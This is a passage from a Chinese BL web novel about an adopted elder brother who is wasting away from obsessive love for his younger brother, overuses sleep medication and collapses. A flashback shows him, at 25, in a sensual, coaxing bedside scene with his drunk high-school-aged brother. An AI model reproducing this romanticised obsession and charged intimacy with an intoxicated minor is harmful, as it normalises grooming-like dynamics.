露出一截劲瘦腰线。程澈的目光追着那道弧度,直到听见对方说话,才惊觉自己盯着人看了太久。 朗父也没多问,点了点头,随后目光在两人身上转了个来回,突然转向程澈:“小程住校?” “是, 是的,朗董。”程澈喉咙发紧, 好不容易才将目光从朗月现身上移向开口问话的人。他余光里还能看见朗月现的唇色,比平时更艳几分,像沾着露水的红山茶,似乎还带着被自己咬出的细小齿痕。这个认知让他耳根发烫, 心脏又开始不安分地撞着胸膛。 “那正好,顺路让小月捎你过去。” 这句话像石子投入平静的湖面,唐老板手中捻着舍利珠的手一顿,在场的几个人顿时全部向朗月现看了过来。 被数道视线紧紧盯住,像是在等着他会有什么反应似的。朗月现却仿佛视若无睹,只淡淡说了句:“我不回学校。” 朗月现的声音和寒风一起刮过来,唐老板听后便把目光从容的移开,手中的珠子又若无其事地继续转动。程澈好像这时才感受到了冬日的寒冷,吸进肺里的空气像是在胸口塞了整块未化的冰。他本想回一句不用麻烦,可话到嘴边又咽了回去, 能多看两眼也是好的。 和朗月现接过吻到现在,程澈的心脏还在剧烈震动,内心还有股巨大的荒谬感在来回冲击,整个人像踩着棉花,恍恍惚惚不知身在何处。 指尖残留的触感,唇齿间萦绕的兰花香,都在反复提醒他这不是梦。被主人奖励的感觉让他内心充斥着无上的幸福和满足,哪怕周围人怎么看他都无所谓了,目光只一味的盯着朗月现一秒都不舍得离开。 陆存远赶紧往前插了半步,适时打着圆场说没事,他送程澈回学校就行,说话间远处传来引擎轰鸣声,朗月现叫的车停到路边。他等父亲的车驶离后,冲众人略一点头,并未多分给程澈任何多余的目光,坐进车里的姿势干净利落。 直到红色尾灯消失在拐角,陆存远拍了拍程澈的肩膀他才惊醒。低头发现帆布包袋子已经被绞成麻花,指尖还在细微发颤。方才那个带着兰花香味的吻像枚火种,此刻正在他肋骨间安静地烧着,把他整个心烘得发烫。 —— 朗月现站在朗家别墅门前,指尖无意识摩挲着口袋里打火机的纹路。院前的枯叶被风卷着擦过裤脚,他忽然抬腿踹了脚铁艺栏杆,震得栏杆后的月季枯枝簌簌作响。 管家开门时差点撞到廊内的瓷瓶摆件。“二少爷?”他慌忙去接朗月现脱下的大衣,下意识就往楼上看了一眼。 “我妈呢?”朗月现边往屋内走边问道。 “太太和周夫人约着去湖心雪苑了,那边送来一套新的绒花胸针,便说着要直接过去试试他们家新做的双面绣旗袍。” 朗月现点了点头表示知道了,便转身往楼上走去。 朗月现停在二楼走廊时顿了顿,他没有回自己的房间,而是径直推开了朗秉白的房间,甚至都没有事先礼节性的敲一下门。 屋里空无一人,深灰色床单平整整洁的像是被刀裁过,朗秉白不知道去了哪里,房间依旧是记忆中沉稳整洁的样子,就像是房间的主人给外人的印象。想到这人平日端方持重的假象,朗月现嘲讽的勾了勾唇角。 他单膝跪在床头柜前,拉开抽屉,五颜六色的药盒哗啦啦散出来。朗月现不自觉的皱起眉,一个个拿起来看。 大多都是一些稳定情绪,含有少量镇定作用的各类安眠药,压根没有朗父所说的那些把他爱慕朗月现当作心理疾病去治的药。 朗月现意识到父亲显然是在骗自己,懊恼自己沉不住气之余,还不由得暗暗松了口气。 朗月现转身往自己房间走去,他推开门,走进卧室。屋内窗帘拉的不紧,几缕阳光从缝隙中漏进来,在床上堆成小山的衣物上照出缕缕光影。 朗秉白整个人就陷在这堆积成山的衣服中间,怀里那件朗月现常穿的深蓝色睡衣被揉的皱巴巴的,领口蹭着鼻尖,呼吸平稳,正沉沉睡着。 朗月现倚在门框上,静静看了他一会儿。 朗秉白睡得很沉,他似乎瘦了很多,露在衣服外的手腕细的能看清青色血管。颧骨在睡梦中微微突起,肩膀顶着衣服,甚至能看出些瘦削的感觉,倒显出几分他在学生时期猛蹿个头不长肉的影子。 他侧卧着,这么高大的个子委委屈屈的蜷缩成一团,怀里紧紧抱着朗月现的衣服,周围同样堆满了从朗月现衣橱里拿出来的衣服。 朗秉白睡梦中还皱着眉头,显得心事重重,虽然在睡觉,但看着就给人一种很疲惫的感觉。 朗月现不知道在想些什么,站在那看了好半天,最终还是没有叫醒他。 浴室门关上的瞬间,床上的人忽然蜷的更紧,仿佛极度不安一般将脸更深地埋进那团衣服里。 * 浴室门推开时带出一团白雾,朗月现抓着毛巾擦头发的手顿在半空中。 床边的衣服堆不知何时拱成了环形,朗秉白正坐在这个用衬衫和毛衣围成的窝里,静静的坐在床边。 “啪嗒”,头发上的水珠砸在地板上。朗秉白闻声抬头,后脑勺翘起的发梢跟着晃了晃。他眼底泛着青,下巴冒出胡茬,家居服领口歪斜着露出凹陷的锁骨,整个人像件被揉皱的丝绸衬衫。 空气中飘着浴室传来若有若无的玫瑰香氛味,朗秉白忽然微微弯起嘴唇,笑了笑。他开口的声音非常沙哑,好像有一个世纪没有张口说话了那般,听得朗月现心头一跳。 他听见朗秉白说:“长大了。” 朗秉白喉结滚动时扯出沙哑的气音:“我们小月……”他右手无意识的揪住怀里的毛毯,“都长这么高了。” 朗月现把湿毛巾甩到椅背上,发梢的水顺着脖子流进衣领,他看见朗秉白蜷起的手指关节发白,指甲修的有些过分短了,似乎有些明显焦虑的症状。 “在之前的梦里……”朗秉白忽然伸手比划了两下,“都是小时候的你,才这么高,抱着小熊来敲我的房门。”他手腕悬在空中晃了晃,腕骨瘦得要刺破皮肤,“怎么一转眼,就变成会冷着脸说‘别碰我’的大人了?” 朗秉白喃喃道:“长大了不好,长大了就会离开哥哥。” “你就会离开我。” 朗月现突然意识到,朗秉白并不是同他在讲话,而是在自言自语。 他以为这是在做梦。朗月现看着围着朗秉白的衣服都是自己素日穿的多的,他喉头发紧,刚要开口,却见朗秉白撑着床沿摇摇晃晃站起来。 散落的睡衣袖子绊了下脚,朗秉白踉跄着栽过来。朗月现下意识伸手去扶,被带着撞上衣柜门。 朗秉白的身上没有了之前熟悉的那股清冽的雪松气息,只有沉香的味道泛着苦涩钻进鼻腔,朗月现甚至能感受到对方瘦削的肩胛骨硌得他胸口生疼。 “别动。”沙哑的气音擦过耳畔,朗秉白把额头抵在他肩上,手指虚虚地攥着他后背衣料。 “就一会儿……真好啊,梦里的小月…不会推开哥哥……” 朗月现垂在身侧的手动了动,最终也只是抓住了衣柜把手。他看着对面穿衣镜里交叠的身影,眼睫微不可察的颤了几下。 这么高大的一个人,只是月余不见而已,怎么瘦成这样了? 不知过了多久,朗秉白终于抬起了头,站在离朗月现咫尺之间,泛红的眼睛一寸寸描摹眼前人,像是要把这张脸刻进骨血里。 “不过长大了也好。”他扯出一个苦涩的笑容,“有些话,没办法对小时候的你说。” “为什么?” 朗秉白突然问,眼中的悲伤似乎要凝出实质,淹没里面朗月现的身影。 “为什么在你为难的时候,哥哥是第一个被你放弃的?” “为什么?”眼眶中的那滴眼泪似乎再也控制不住,就这么顺着他的消瘦的脸颊滑落,砸落在两人之间的空隙处。 朗秉白的喉结艰难的滚动,左手还攥着朗月现的衣服下摆,“你顾忌所有人,那我呢?” “我试图站在你的角度与你共情,可是我越为你考虑,我就越难过。” “你为什么从来不为我考虑。” “那我呢?小月。” 朗秉白忽然抬手,似乎想抚摸一下弟弟的脸颊,又在触及前缩回了手指。 朗秉白的这份痛苦好像影响到了他,朗月现竟然被两人间的氛围压抑的有些难以喘息,他刚失去耐心想要让朗秉白滚开,朗秉白却自己往后退了一步。 第二滴泪砸在了朗月现的手背上,他被烫的一抖。朗秉白扯了扯嘴角,连鼻尖都泛着不正常的红,像是寒冬在室外站了整夜的人。 “每次吞那些药片的时候我都在想……今晚会梦到什么样子的小月呢?” “我不想吃这些药,可是不吃就睡不着……”声音突然哽住,朗秉白抬手摸了摸自己的脖颈,仿佛吞咽对他来说非常困难,手背上的青筋在苍白的皮肤下突突跳动,“睡不着就见不到你。” “无数个睡不着觉的凌晨,我和自己说话,求自己放下一些东西,放过你,也放过我自己。” “可是,小月,我是个一塌糊涂的人。” 朗秉白忽然踉跄着后退半步,他胡乱抹了把脸,指尖沾着的水痕在微弱的光线下泛着亮光。 “我犯过这么多错,只有爱你……是我无论如何也更改不了……咳…” 尾音呛在咳嗽里,震得单薄的肩膀发抖,朗月现下意识往前半步,又硬生生刹住脚。 “盼星星盼月亮等你回来,结果……” 朗秉白低下头自嘲地笑了笑:“临走前能多说两句梦话,也算……” 朗秉白缓缓向着门口走去,摸索着去摸门把手,指尖在金属面上打滑,“最近的药吃的太杂……”他低笑一声,额发垂下来遮住眼睛,“上次对着你的幻象说话,还把李叔吓得不轻……” “去哪?” 门把手“咔哒”弹回原位,这声音像平地惊雷一般,震得朗秉白浑身一颤。 朗秉白保持着拧转的姿势僵在原地,指尖绷的发白。 他不可置信的转过头,被泪水模糊的眼睛只能描摹眼前人一个大致的轮廓,却足以让朗秉白回不过神来。 他最近实在是吃了太多乱七八糟的药,能辅助他睡眠的药物让他分不清虚实,导致他一直昏昏沉沉,精神上也有些恍惚,半梦半醒之间总是能看见小月在他面前出现。 他突然抬手狠狠掐向自己小臂,这不是梦。 梦里的小月不会问话,更不会用这种活生生的眼神看着自己。 朗月现见他怔愣着不答话,眉头皱得更紧,往前逼近半步:“问你呢,去哪?” “小月…小月…”朗秉白指尖发抖,颤巍巍试探着伸手想触碰弟弟的脸,生怕这又是场稍纵即逝的幻梦。 手腕突然被狠狠攥住。 骨头都快被捏碎的疼痛感让他彻底清醒,眼前人分明是真实存在的。 朗秉白睁开眼,看见了他活生生的血与肉。 他贪婪地盯着弟弟鲜活的面容,呼吸急促得像溺水之人浮出水面。 仿佛从万米高空直坠而下,五脏六腑都悬到了嗓子眼。 直到掌心传来朗月现真实体温的瞬间,才重重落回地面。 全身过电般的战栗让他眼前发白,喉间溢出压抑的喘息。 朗月现不耐烦地将人拽到跟前,微凉的手指抵住对方滚烫的颈动脉:“不说?我替你说。” “爸爸一怒之下关你禁闭,你倒好,装模作样在家闭门思过。堂堂商界闻风丧胆的商业暴君,什么时候学会逆来顺受了?” “你竟然肯乖乖被关在家里毫不反抗,仿佛真心认错了一般。朗秉白,这就不是你的性格,装的太过了。” “果然让我查到些猫腻。” 朗月现的指尖缓缓在朗秉白颈侧摩挲,沿着青筋游走,唇角带着怒极了的笑意:“距大概估算,从你掌管朗氏集团开始,这五六年间,你光投资下层市场就不下数十家公司,控股超过51%的更是有5家企业之多。” “经你投资的企业完全顺应如今的市场走向,全部都大赚特赚。爸爸说的没错,你天生就是吃这碗饭的。” “尤其是迈切斯特这一笔。” “陆存远捡到程澈是走了大运,但真正托起这家公司的,是你最后那笔救命钱。” “迈切斯特上市的最终应急资金,就是你朗秉白的入股资金。” 朗月现拍了拍朗秉白的脸,“对吧?迈切斯特的第二股权人?” 朗秉白听着精准到可怕的剖析,理智叫嚣着要安抚暴怒的弟弟,可剧烈的心脏却为这久违的接触欣喜若狂。血液在血管里奔涌的实感,让他恍惚间找回了活着的知觉,令他几乎喟叹出声。 “所以,你有的是后路,随时能甩开朗家自立门户。”朗月现冷冷一笑:“以你现在累积的资产,就连朗氏也很难给你施压,是吧。” 朗秉白张了张嘴,喉结滚动着却说不出话,后槽牙咬得发酸,生怕一开口就会泄露压抑着的哽咽。 朗秉白无法辩驳,弟弟每个字都戳中他的心思。父亲说的对,他骨子里就带着商人的精明,逐利避害和未雨绸缪几乎刻在了他的基因中。 在发现自己对弟弟生出不该有的念头时,哪怕还没打算摊牌,就已经本能地开始铺后路。 他先是封了知晓父辈之间事件所有知情人的口,又悄悄有意识地在朗氏之外培植势力。从起心动念那刻就盘算着,若真有捅破窗户纸那天,必须要有足够媲美朗氏的资本护住心上人,有能够支撑自己毫无顾忌去爱朗月现的后路。 迈切斯特纯属意外收获,刚投资还不到一个月,事情就败露了。禁足期间全靠心腹特助传递消息进来,谁料这步闲棋竟被弟弟顺藤摸瓜查了出来。 他弟弟确实把他摸透了。正如朗月现所言,他从来不是坐以待毙的人。可这次他偏偏赌气耗着,就想看看弟弟会不会为他回头,能不能在冷心冷情的弟弟心里占点特殊位置。 那天实在熬不住给弟弟打电话,接通的却是周闻铮的声音。明知对方在故意刺激他,可脑海里全是朗月现和别人亲热的画面。 那段时间朗秉白几乎完全没办法阖眼,闭上眼全是弟弟和其他人纠缠在一起的身影,睁开眼睛也看不见朗月现,朗秉白觉得自己快要疯掉了。 只有蜷在弟弟床上才能勉强合眼,贪恋着被褥间残留的气息入睡,梦里才能见到活生生的朗月现。 可是他一直等不到回心转意出现在他面前的朗月现,朗秉白觉得自己不会等到了,他终于死心联系特助准备离开。谁料就在要走的前夜,朗月现竟然真的回来了。 可重逢还没说上两句话,又把人气着了。朗秉白急得手心冒汗,想说自己从没打算背叛朗家,只要朗月现愿意,他的所有身家都能拱手奉上,虽然这些确实是他离开的底气。 话到嘴边打了几个转又咽回去,最后变成欲言又止的沉默。朗月现烦躁起来,他什么也没说,转身就往外走。 朗月现态度的冷淡深深的刺痛了朗秉白,弟弟决绝的背影是他这辈子再也不想体会的痛苦,朗秉白急火攻心,心口骤然巨痛,喉头突然涌上腥甜,有什么被他吐了出来。 意识模糊间,只觉得手心里那东西躁动不安,在他眼前不断挣扎,他低头看去,鲜红的一片仿佛是他破碎的心在掌心抽搐。 眼前天旋地转,整个人重重栽倒在地。 第四十九章 傻子。 朗秉白做了个梦。 梦中他被突然带到了几年前。在他二十五岁那年, 朗月现高中第一年的暑假,朗父给他安排了个相亲局。 朗秉白的家世和相貌都是顶尖的,自打成年后就有数不清的人上门说亲。有想和朗家攀上关系的, 有合作商带着自家孩子来拜访的,也有在宴会上惊鸿一瞥托人递信的。无论男女, 个个都说见过朗家大少爷,就很难再看上别人了。 朗父向来尊重儿子意愿,说来也奇怪,朗秉白对其他事都客气疏离,彬彬有礼,唯独在和别人交往这件事上像只竖着刺的刺猬, 几乎是抵触的心理去拒绝,一概不理。 可这回看到王家的拜帖, 他居然破天荒的没像往常那样冷着脸把说媒的人请出去,反而盯着烫金请柬若有所思,最后淡淡说了句“见见也好”。 这位王家千金确实值得一见,王家手握全国最大的传媒集团, 从纸媒到短视频平台,旗下涵盖新闻,电视,电影,社交媒体等多个传媒领域。连当下最火的国民游戏都是王家旗下企业开发的。剑桥毕业的才女王若晴不仅家世匹配,模样更是出挑,站在朗秉白身边倒真是十分般配。 朗父便乐得顺着孩子心意,亲自张罗起来。特意在花园玻璃房内摆了品酒宴,请王氏一家来参加。 宴会上朗秉白几乎从头沉默到尾,只机械的应付着络绎不绝的敬酒, 完全没有一点这件事是他点头应承* 下来的自觉,倒像是来参加商务酒会的,朗月现同王若晴聊的甚至都要更多一些。 朗父还有些许的尴尬,大儿子也是头一次这么不会看场合做事,他担心王父心里会不舒服,还想着要不要解释一下。 结果对方正盯着自己小儿子直乐,顺着视线看过去,王若晴托着腮看着朗月现正入神,眼睛亮晶晶像发现了新大陆一样,直勾勾盯着朗月现说话时颤动的睫毛。 “朗董,让您见笑了。”王父抿了口清酒,指着从进来眼睛就没从朗月现脸上挪开的王家大小姐说:“我家这丫头,魂都被二少爷勾走了。”说话间王若晴正殷勤地给朗月现续酒,结果朗月现露出个礼貌的感谢笑意,王若晴一下子晃了神,手一抖,泼了小半杯在他袖口上。 朗月现面上仍挂着得体的笑,温声安抚着慌乱着不断道歉的王若晴,背在身后的手却快把餐巾拧成了麻花。他趁着举杯的空挡狠狠瞪了哥哥一眼,心想这到底是谁的相亲宴?偏偏被瞪了的那个人还坐在斜对角,阴沉沉的目光像是要把他的后背烧出个洞来。 可还没撑到宴会结束,朗月现那三两酒的量就被热情过度的王家小姐灌倒了。 清脆的一声“砰”响,酒杯被不轻的力道磕在了桌子上,朗秉白霍然起身,带得椅子在地上划出刺耳的声响。 他稳了稳情绪,微微颔首向周围的人以示歉意,大步流星穿过人群,在众人惊愕的目光中把朗月现整个捞进怀里。少年温热的呼吸扑在颈侧,混着红酒的甜香,烘得他太阳穴直跳。 “抱歉,我弟弟喝醉了,我带他去休息。”他冷冷的丢下这句话,连个余光都没分给今晚的女主角。王若晴举到半空中想要给朗月现醒酒的白水僵在原地,眼睁睁看着宽大的墨色西装裹着少年,头也不回的消失在旋转楼梯口。 管家想搭把手接人,被朗秉白侧身避过。当着那么多人的面,朗月现死活不让他哥公主抱他,最后朗秉白直接将他背起来上了楼。 背上的人不老实的扭动,滚烫的脸颊贴着他的后颈磨蹭,嘴里嘟囔着“放我下来,我自己能走”。朗秉白手上的力道又加重几分,把人箍得更紧,踩着地毯拾级而上。 朗秉白将人轻轻放在床上,小醉鬼还觉得自己清醒着,嚷嚷着不想睡觉。 朗秉白撑在床前看他,眼神沉沉:“那你想做什么?” 朗月现醉的目光都有些涣散,他抬起手摸了摸他哥的耳朵,问他你是不是要结婚了?结了婚以后……是不是就要分开住了? 朗秉白沉默片刻,没有回答,反而问道:“你希望我结婚吗?你想跟我分开住吗?” 朗月现迷迷糊糊,反应慢半拍,停了好半天,把朗秉白的心都提起来了,他才慢悠悠的理解了朗秉白问他的话。 “不希望。” 朗秉白喉结滚动着急切追问,撑着床沿的指节泛白:“不希望什么?不希望哥哥结婚,还是不希望和哥哥分开住?” 醉鬼皱着鼻子哼唧,醉眼朦胧地扯开两颗衬衫扣子,露出被热意熏粉的锁骨。他嫌衣服不舒服想脱下来,被朗秉白拦住。 朗秉白轻轻握着朗月现不安分的手,阻止了他继续解扣子的行为,少年凌乱的额发扫过他的手背,痒得心里发慌。 朗秉白坐在床边压着身子凑近,盯着弟弟的唇,期盼着里面再吐出些让他开心的话。 “嗯?为什么不回答哥哥?” 朗月现双颊泛红,眼睛也雾蒙蒙的,他早就忘了朗秉白问了什么,不耐烦的用空着的那只手推他哥的脸。 朗秉白轻轻握住他的手腕,放在唇边轻吻两下,顺势扣住那只手按在枕边,拇指摩挲腕间跳动的脉搏,用诱哄般的语气轻声哄道:“乖,告诉哥哥你不希望哥哥去结婚,不希望哥哥离开你,哥就放你睡觉。” 朗月现才不理他,手被攥着挣不开,干脆搂住他哥的脖子突然发力,朗秉白正撑着身子看他,猝不及防的被扯地倒在床上,鼻尖蹭过少年泛着酒气的衣领。 朗月现喝了酒浑身软绵绵的使不上什么力气,但奈何被拉下去的那个人根本不想反抗,顺从的躺下给人当枕头。 朗月现终于满意了,枕在他哥的胸膛上,用带着热意的脸肆意的蹭了蹭,手还不老实的从脖颈摸到腰腹,嘴里含糊不清的念叨着手感真不错…… 朗秉白小心翼翼拢住怀里的人,手扶在朗月现的后腰上,完全没有阻止弟弟的意思,由着他胡闹乱摸,颇有些难耐的仰起头,喉结艰难的滚动了两下。 弟弟的指尖顺着肌肉纹理滑到腰腹,朗秉白忍耐不住的吞咽声在安静的房间里格外清晰,他轻咳一声掩饰了一下,最终还是忍不住轻轻有节奏的拍着朗月现的后腰,试图给弟弟哄睡,别再折磨他了。 直到肆意作乱的手乖乖的放在他胸膛处揪着他衬衫纽扣安静下来,朗秉白才敢将这些天憋着的那口气缓缓叹了出来。 他比谁都清楚自己的弟弟有多招人,从小到大跟在朗月现身后心甘情愿献殷勤的人数不胜数,跟了朗月现好久他甚至都叫不出名字的人更是大有人在,却还是有人前赴后继,只为能多得到朗月现一个冷冰冰的眼神也是好的。 而且随着年岁增长,少年的容貌愈发耀眼,就连朗父都有意识的尽量不带小儿子出席公开场合。 上了高中后,朗月现身形抽条,五官愈发精致,整个人没有一处不美。朗秉白几乎是亲眼看着越来越多的人如同饿狼一样盯着他弟弟不放。男人倒还好,他弟弟基本上不怎么理会,只把他们当成跟班使唤。 可朗月现对女孩一直格外宽容,女孩送的东西他都不会当面丢掉,甚至于有女生大着胆子告白,他也只是笑笑不接茬,礼貌的解释没有恋爱的想法。 暑假前一天,朗秉白在二楼等了一上午,结果亲眼看见朗月现骑着机车带了个女孩子回了别墅区,下车后还笑着挥手道别。朗秉白面无表情,手中握着的露台栏杆被捏的吱吱作响。 吃饭时状似不经意提起,朗月现也只是一副毫不在意的态度说同班同学顺路而已。 贵族学校全是有钱人家的少爷小姐,都有专车接送,用得着你去送她回家吗? 朗月现对其特殊的态度狠狠刺痛了朗秉白,他一口饭也吃不下,满心的妒火几乎要将他烧得头晕眼花,借口说不舒服便回了房间。 正巧晚上有人上门说起王家有个适龄的女孩,朗父正准备回绝,没想到被妒火烧昏了头的朗秉白竟当场应下。 等冷静下来后悔也晚了,他只能硬着头皮参加自己的相亲会,那一整天朗秉白胃里翻江倒海,反胃的什么也吃不下。 宴会上还要看着自己招来的女人像个求偶的孔雀一样围着他弟弟打转,朗秉白烦躁的只能一杯杯往下灌酒强压火气。 此刻的小孩终于老老实实的窝在自己怀里,朗秉白一只胳膊被他压在身下,轻轻拍打着后腰哄弟弟入睡,另一只手珍惜地描摹着弟弟的眉眼。 朗秉白极轻地吻了吻朗月现的发顶:“告诉哥哥,那个女孩并没有什么特殊的,对吗?” “小月不希望哥哥离开,哥哥就永远不会离开。” 朗秉白怀揣着自己无法让人知晓的心思,收紧搂着弟弟的怀抱。 “或许之后……你会因为一些事情不喜欢哥哥了,哥哥也……永远不会离开你。” “那你为什么要走。” 就在这时,朗秉白话音未落,怀里突然一轻,朗月现撑着胳膊慢慢坐直,月光从他背后漫过来,朗秉白忽然发现弟弟的模样似乎变了些。 少年的嗓音清凌凌的,眼中也完全没有之前喝醉迷茫的醉意。朗秉白怔愣的看着弟弟,刚才还揉乱了的衬衣扣子不知何时系到了最顶端,月光下白的刺眼的布料裹着修长的脖颈,像尊冰冷的玉雕。 而此刻玉雕般的唇角勾着冷淡的笑意,一字一句里全是对朗秉白的怒火和不屑:“带着你那既肮脏又丑陋的欲望,背叛将你养大的朗家。” “这就是你所谓的不会离开吗?” 朗秉白慌忙起身想要解释,伸手想碰朗月现的脸:“小月,你听哥哥说……”指尖还没触到,就被狠狠拍开。 少年伸手扣住他喉咙,刚刚还滚烫的指尖此刻变得冰凉,深深陷进动脉。 朗秉白毫不反抗,仰着头急促喘息,双手虚虚搭在朗月现腕间。他依旧试图出声解释,整个人不停的颤抖:“不是这样的…我只是想去见见你……” 朗秉白想抓着朗月现的手放在自己心上,想让他摸摸自己狂跳的心口,他害怕朗月现忘记自己到底有多爱他。 却在下一秒忽然僵住了,看着朗月现冲他摇了摇头,竖起食指抵在唇间,比了个嘘的手势。 “骗子。” 朗秉白睁开了眼睛。 —— 朗秉白醒来时,窗帘已经被全部拉开,窗外的梧桐正把阳光筛成碎片洒在床前的地板上,将毫无生气的房间照的透亮,似乎还能听见窗台上有鸟雀飞过的声音。 他转了转眼珠,看见细长的输液管在阳光下泛着晶亮的冷光,随着他抬手的动作轻轻摇晃,像条透明的蛇钻进血管里。 他内心突然涌上一股很空的感觉,却被床尾的声音惊得骤然退却。 “醒了?” 朗月现的声音带着晨起的沙哑,他斜倚在卧室门框上,浅灰色的高领毛衣衬得下颌线愈发锋利。见人醒了才慢悠悠走了过来,扯过椅子坐在了朗秉白床边。 脱离了药物影响,这次朗秉白可算是切实的将眼前的人看了个清楚,他喉结滚动两下,想开口说些什么,鼻腔却猛地一酸。 吸管碰在唇边的力度很轻,温水滑过火烧般的喉咙时,朗秉白才发现自己一直盯着弟弟手腕,那里不知道从哪蹭了一道红痕,在冷白的手腕上格外显眼。 朗秉白看着弟弟眼下似乎有些青黑,哑着嗓子问道:“昨晚没睡好?”朗月现正弯腰调整输液管速度,闻言手上一顿,输液管在手上转了个圈:“托谁的福?” 朗月现交叠起双腿,指尖缓缓在椅子扶手上轻敲,何止是没睡好,他昨晚几乎就没睡。 回头时,朗秉白喷在掌心的血点像是燃烧的火星,狠狠刺痛了他的眼睛。朗月现扑过去,怀里骤然瘫软的身体重得他差点跪倒在地,手腕下意识抵在了床尾借力,被压出一道深深的红痕。 家庭医生冲进来时他正站在露台抽烟,等着医生的诊断,随时准备开车赶去医院。火星在指尖明明灭灭,尼古丁压不住喉间的血腥气。 诊疗箱开合的碰撞声中,他听见“肝气郁结”, “心血瘀阻”之类的词在夜风中飘散。 直到手边的烟灰缸积满烟蒂,才等到那句“暂时无碍。” 送走了医生,朗月现又被管家拦下了。 管家忧心忡忡的望了望屋内,他们这些老人都算是在朗家待了一辈子,感情很深,几乎算得上亲人一样了。朗家最近的动荡他们都清楚,虽然朗父刻意瞒着,但朗月现的离家和朗秉白的颓然他们都看在眼里。 管家从朗秉白还没进朗家就在朗父身边了,朗家两个孩子几乎是管家看着长大的。这么多年,他从未见到朗秉白有如此萎靡的一面,内心非常焦急。可二少爷一天不回来,朗秉白就一天都不会好起来。 管家害怕朗月现又要走,急忙将人拦下了,这位看着他们长大的老人攥着他袖口的手好像终于等到了救命稻草。平日里这么干练的人急得话都说不清,他说大少爷已经很久没有好好吃过一顿饭了,能不能等大少爷醒了,看他喝碗粥再走。 “我没要走,李叔。” 他反手握住管家的手,余光中瞥见自己领口干涸的血迹,露台冷风中站了这么久,此刻才觉出指尖发麻。 朗月现把手机调成静音扔在茶几上,屏幕每隔几分钟就亮一次。周闻铮的名字不断的在屏幕上闪烁,像根扎眼的刺。 朗月现本来想着要给周闻铮说一声晚上不回去吃饭了,拿起手机又觉得这种报备行为太奇怪了,索性不再理会。 他慢条斯理陪母亲喝完海鲜粥,看着保姆把母亲没动过的燕窝盅撤下去。 “医生说他就是累着了,补足觉就好了。”朗月现用湿巾擦掉母亲指腹沾到的蟹黄,动作如往常一般熟稔亲昵,“您看我现在不是回来了?” 朗太太摩挲着青瓷茶杯沿口的水渍欲言又止,半晌叹了口气:“你爸做的太绝了。”她突然伸手把儿子鬓角翘起的头发别到耳后,接下来的这句话让两人都愣了愣。 “你哥他不容易。” 朗月现没有试探母亲是否知道朗秉白肖想她亲生儿子这件事,他知道母亲一定能看出来。母子俩心照不宣的没有去谈这个话题,虽然并不认同朗秉白的做法,但朗太太明显更能与朗秉白共情,并不像朗父那样极力反对。 茶杯中晃荡的茶水如同她纠结的内心,映出她眼底的怅然。她有时候甚至会想,如果朗月现将来真的要选择一个人共度余生,不会有人比朗秉白做的更好了。 朗月现低头削苹果的银刀顿了顿。果皮断在垃圾桶里的瞬间,他听见母亲轻声说:“我去和老李说,你房间的加湿器该换滤芯了。” 夜里十一点,父亲秘书发来定位在集团大楼的照片,朗父今晚准备在集团休息了。朗月现把母亲哄回主卧,经过自己卧室时从门缝瞥见床头监测仪的红光。管家抱着绒毯追到走廊:“二少爷,客房都收拾好了” “我守夜。”他扯松领带陷进会客沙发,自己的房间被朗秉白占了,他便准备在卧室外的沙发上凑合一晚。 朗月现仰躺在沙发上,忽然想起小时候发烧,也是他哥彻夜守在他身边寸步不离。后半夜似乎有雨滴砸在落地窗上,他数着输液管滴答声等天明。 他当然是不会把这些事说给朗秉白听的,朗秉白看着弟弟不说话,心里有些失落,以为弟弟还在生自己的气。 “我做了个梦。”朗秉白突然开口。他手指无意识摩挲着被角,似乎现在同弟弟这样简单的聊天都有些紧张。 朗月现正在剥橘子,闻言把果肉扔进自己嘴里:“说。” “你高中那会儿,有个喜欢穿白裙子的姑娘,总缠着你骑机车送她。”朗秉白盯着雪白的天花板,话尾突然打了个旋,“她搂你搂得真紧。” “?”朗月现完全不知道朗秉白在说什么,朗秉白也看出了弟弟眼里的迷茫,加了几句解释道:“就住在我们这片别墅区,她坐在你机车后座上,两次。” 坐过朗月现机车的女孩不多,朗秉白这么一解释,他隐隐有了些印象,顿时无语起来。 “咳!”橘子汁呛进气管,朗月现扯了张纸巾擦手,“那不是我拿回那颗宝石胸针的条件吗?”他忽然想起什么似的冷笑,“那个被她爸爸拍走的胸针不还是为了给你当生日礼物吗?” 因为拍卖会突然杀出的程咬金,害得他不得不载着买主的千金兜了好久的风。 朗秉白忽然低笑出声,震得监护仪发出细微嗡鸣。他怎么会忘呢?那天他抱着醉倒在自己怀里的少年,弟弟的眼睛是那么明亮,盛满了会让他甘愿溺毙的星河,让他生平第一次对神明起了贪念。 为什么会梦到这件事? 原来这个梦是在提醒他,就是从那天起,他才彻底的看清了,自己对朗月现藏着怎样见不得光的感情。 就像一枚埋进了骨血的种子,如今终于破土长成了遮天蔽日的大树。 “好狼狈啊,朗总。” 朗月现忽然倾身,颇为不屑的讥讽出声:“朗总现在这幅尊容,要是被董事会那帮老狐狸看见……”他指尖悬在朗秉白的面前,轻轻拨开了对方额前汗湿的发。 这下意识的体贴行为让两个人都愣了愣。 朗月现怒骂自己这该死的肌肉记忆,耳尖发烫有些恼羞成怒的出声说道:“为了一个男人,把自己弄成这幅鬼样子。如果不是我亲眼所见,我会以为是对手特地打的舆论战呢。” 朗月现不留余地的嘲讽,朗秉白却也只是笑着纠正了他的一个说法:“不是为了什么男人。因为是你,哥没办法。” 朗月现冷嗤一声,又转回了他们昨晚不欢而散,朗月现转头就走时的那个话题:“你真的要离开朗家?” 朗秉白稍稍敛了笑意,他真的很珍惜这么久以来和弟弟能平静聊天的机会,他微微点了点头,眼神温柔又坚定。 眼见朗月现皱着眉好像又要发火,朗秉白撑着床沿要起身,吊瓶里的液体被他的动作震得剧烈晃动。 ……朗月现烦的闭了闭眼,还是走过去将朗秉白扶了起来,动作不是很温柔,却没忘了给朗秉白身后加个靠垫。 在弟弟看不见的位置,朗秉白暗暗弯了弯嘴角。 “搬去南湾,安定下来之后会立刻给你具体地址。”朗秉白的声音沙哑却坚定,手指悄悄勾住弟弟的毛衣下摆,“我不是背叛朗家出去自立门户,我只是必须要离开父亲的掌控,我要和他站在同一个高度,他才能看见我。” 他喉结动了动,把后半句话咽了回去。只有这样,才有资格被你选择。 即使你可能不会喜欢上我,但是我要有一个光明正大可以被你选择的机会。 朗月现扯了扯领口,他觉得有些气不顺,并没有说话。如果问这么做是为什么那就太傻了。 可当这个人真的把数十年的爱意隐忍剖开摆在面前,那些准备好的冷嘲热讽突然都失了效。 朗月现实在有些理解不了,一个人对另一个人的感情竟然能深到这种地步吗,让他心甘情愿放弃现在所拥有的一切,与所有珍视他的人敌对,只是为了求一个并不属于他的爱。 